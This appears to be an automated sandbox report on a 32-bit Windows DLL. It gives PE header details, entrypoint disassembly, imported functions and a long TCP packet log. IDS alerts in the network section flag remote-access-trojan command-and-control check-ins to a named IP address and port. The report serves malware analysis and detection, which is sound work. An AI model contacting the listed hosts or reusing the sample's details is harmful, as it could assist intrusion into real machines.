File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u...u...u.......u..mt...u..mv...u..mq...u..mp...u.&.t...u...t.a.u...u...u.`mu...u.`mw...u.Rich..u........................

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x100a12e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67642B1D [Thu Dec 19 14:18:05 2024 UTC]
TLS Callbacks:	0x10088fa0
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5a379389d798d294fb7ce19042f3dcf5

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F9EAD87D937h
call 00007F9EAD87D997h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F9EAD87D7E3h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [100A60C0h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [100A60CCh]
xor dword ptr [ebp-04h], eax
call dword ptr [100A611Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [100A6148h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov ecx, dword ptr [10102040h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F9EAD87D936h
test esi, ecx
jne 00007F9EAD87D958h
call 00007F9EAD87D8C9h
mov ecx, eax
cmp ecx, edi
jne 00007F9EAD87D939h
mov ecx, BB40E64Fh
jmp 00007F9EAD87D940h
test esi, ecx
jne 00007F9EAD87D93Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [10102040h], ecx
not ecx
pop edi
mov dword ptr [10102080h], ecx
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F9EAD87D944h
cmp dword ptr [0000F88Ch], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x100a80	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x100ad4	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x103000	0x4d0c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xff958	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xff9c0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xff898	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa6000	0x20c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa4833	0xa4a00	9db27373bcf74384313548cdff739b89	False	0.5883815015186029	data	6.520667142363245	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa6000	0x5b80e	0x5ba00	b940f5bdafb172ca49d82aa5efc8081c	False	0.5340211459754434	data	6.20745028003892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x102000	0x4d8	0x200	8917dd775708aa9b2d3e4f127fc8a4f9	False	0.119140625	data	0.6084715227586681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x103000	0x4d0c	0x4e00	cc372a90e2aea2d045cbc1a9ae8ecd34	False	0.7442407852564102	data	6.595328231641845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
bcryptprimitives.dll	ProcessPrng
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressSingle, WakeByAddressAll
kernel32.dll	SwitchToThread, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, InitializeSListHead, HeapReAlloc, HeapFree, Sleep, DisableThreadLibraryCalls, GetSystemTimeAsFileTime, GetModuleHandleW, WaitForSingleObject, GetCurrentThreadId, SetWaitableTimer, GetModuleHandleA, GetFinalPathNameByHandleW, SetLastError, GetQueuedCompletionStatusEx, SetHandleInformation, CreateIoCompletionPort, FreeLibrary, GetCurrentProcess, GetStdHandle, GetConsoleMode, GetProcAddress, MultiByteToWideChar, WriteConsoleW, QueryPerformanceFrequency, FormatMessageW, WaitForSingleObjectEx, LoadLibraryA, lstrlenW, GetCurrentProcessId, CreateMutexA, ReleaseMutex, GetEnvironmentVariableW, GetLastError, LoadLibraryExW, SetThreadErrorMode, CloseHandle, CreateThread, SetThreadStackGuarantee, GetCurrentThread, QueryPerformanceCounter, HeapAlloc, GetProcessHeap, GetCurrentDirectoryW, RtlCaptureContext, WideCharToMultiByte, PostQueuedCompletionStatus, UnhandledExceptionFilter, CreateWaitableTimerExW, SetFileCompletionNotificationModes, TerminateProcess
ws2_32.dll	WSACleanup, WSASend, bind, connect, setsockopt, WSAStartup, getaddrinfo, getsockopt, recv, send, getpeername, freeaddrinfo, closesocket, WSAIoctl, ioctlsocket, WSASocketW, getsockname, WSAGetLastError, shutdown
ntdll.dll	RtlNtStatusToDosError, NtDeviceIoControlFile, NtCreateFile, NtWriteFile, NtCancelIoFileEx
secur32.dll	EncryptMessage, FreeCredentialsHandle, DeleteSecurityContext, DecryptMessage, ApplyControlToken, FreeContextBuffer, QueryContextAttributesW, AcquireCredentialsHandleA, InitializeSecurityContextW, AcceptSecurityContext
advapi32.dll	RegOpenKeyExW, RegCloseKey, RegQueryValueExW
crypt32.dll	CertFreeCertificateChain, CertEnumCertificatesInStore, CertAddCertificateContextToStore, CertDuplicateStore, CertCloseStore, CertDuplicateCertificateChain, CertOpenStore, CertDuplicateCertificateContext, CertVerifyCertificateChainPolicy, CertGetCertificateChain, CertFreeCertificateContext
VCRUNTIME140.dll	_except_handler4_common, __CxxFrameHandler3, memcmp, memmove, memcpy, memset, __std_type_info_destroy_list
api-ms-win-crt-runtime-l1-1-0.dll	_seh_filter_dll, _initterm_e, _initialize_narrow_environment, _initialize_onexit_table, _initterm, _execute_onexit_table, _configure_narrow_argv, _cexit

Exports

Name	Ordinal	Address
NvOptimusEnablement	1	0x100038c8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T09:29:07.990203+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49736	45.204.213.99	7677	TCP
2024-12-22T09:30:23.404849+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49739	45.204.213.99	7677	TCP
2024-12-22T09:31:35.424214+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49740	45.204.213.99	7677	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 09:29:00.031868935 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.031965971 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:00.031992912 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.032035112 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:00.032040119 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.032083988 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.045645952 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.045687914 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:00.045691013 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:00.045708895 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.880784035 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.880918026 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:01.885495901 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.885581970 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:01.909106970 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:01.909153938 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.909549952 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.910880089 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:01.910906076 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.911721945 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:01.963486910 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:01.965003014 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.117253065 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.159359932 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.228447914 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.275338888 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.645195007 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.645560980 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.645636082 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.646421909 CET	49730	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.646469116 CET	443	49730	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.664660931 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.664695024 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.664758921 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.665117979 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.665131092 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.761069059 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.761244059 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.761300087 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.761683941 CET	49731	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.761703968 CET	443	49731	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.774610996 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.774647951 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.774701118 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.780478001 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.780512094 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.780580044 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.781450033 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.781476021 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:02.782063007 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:02.782078981 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.313266039 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.313352108 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.315431118 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.315445900 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.315773010 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.316246033 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.359370947 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.419727087 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.419847012 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.421238899 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.421251059 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.421916008 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.427730083 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.427822113 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.449307919 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.449335098 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.450237036 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.450890064 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.463463068 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.464875937 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:04.491350889 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:04.511338949 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.152226925 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.152374983 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.152437925 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.152767897 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.152782917 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.173650980 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.173676968 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.173743010 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.182595968 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.182610035 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.190304995 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.190332890 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.190360069 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.190402985 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.190437078 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.190468073 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.190489054 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.221323967 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.221384048 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.221426964 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.221461058 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.221482038 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.221517086 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.221544981 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.325329065 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.325351954 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.325412989 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.325450897 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.325483084 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.325505972 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.413317919 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.413342953 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.413381100 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.413398027 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.413439035 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.413460016 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.429483891 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.429511070 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.429553986 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.429558039 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.429600954 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.429617882 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.429627895 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.429678917 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.485991955 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.486012936 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.486053944 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.486068010 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.486094952 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.486116886 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.517405987 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.517462969 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.517481089 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.517496109 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.517535925 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.517554998 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.559057951 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.559084892 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.559127092 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.559140921 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.559186935 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.559186935 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.589837074 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.589889050 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.589934111 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.589950085 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.589988947 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.589988947 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.610101938 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.610131025 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.610198975 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.610212088 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.610239029 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.610259056 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.668562889 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.668622971 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.668652058 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.668664932 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.668704033 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.668704033 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.669809103 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.669872999 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.669897079 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.669909954 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.669938087 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.669955969 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.714641094 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.714687109 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.714726925 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.714740038 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.714771032 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.714791059 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.721091986 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.721133947 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.721168995 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.721182108 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.721209049 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.721226931 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.745690107 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.745786905 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.745800972 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.745843887 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.745903015 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.746294022 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.746318102 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.779542923 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.779589891 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.779655933 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.779655933 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.779671907 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.779730082 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.822565079 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.822604895 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.822779894 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.822796106 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.822850943 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.850045919 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.850197077 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.850212097 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.850248098 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:05.850303888 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.850584030 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:05.850600958 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:06.814173937 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:06.814263105 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:06.815629005 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:06.815642118 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:06.815963984 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:06.816498041 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:06.859376907 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.666239023 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.666322947 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.666367054 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.666400909 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.666429996 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.666450024 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.666477919 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.792465925 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.792521000 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.792534113 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.792550087 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.792567968 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.792588949 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.866497040 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:07.878065109 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.878134966 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.878170967 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.878181934 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.878343105 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.935781002 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:07.949845076 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.949891090 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.949918032 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.949934959 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:07.949954987 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.949979067 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:07.986484051 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:07.986603975 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:07.990202904 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:08.018666983 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.018734932 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.018744946 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.018759012 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.018789053 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.018796921 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.055532932 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:08.055608988 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:08.056134939 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:08.064946890 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.065016985 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.065017939 CET	49735	443	192.168.2.4	38.147.186.138
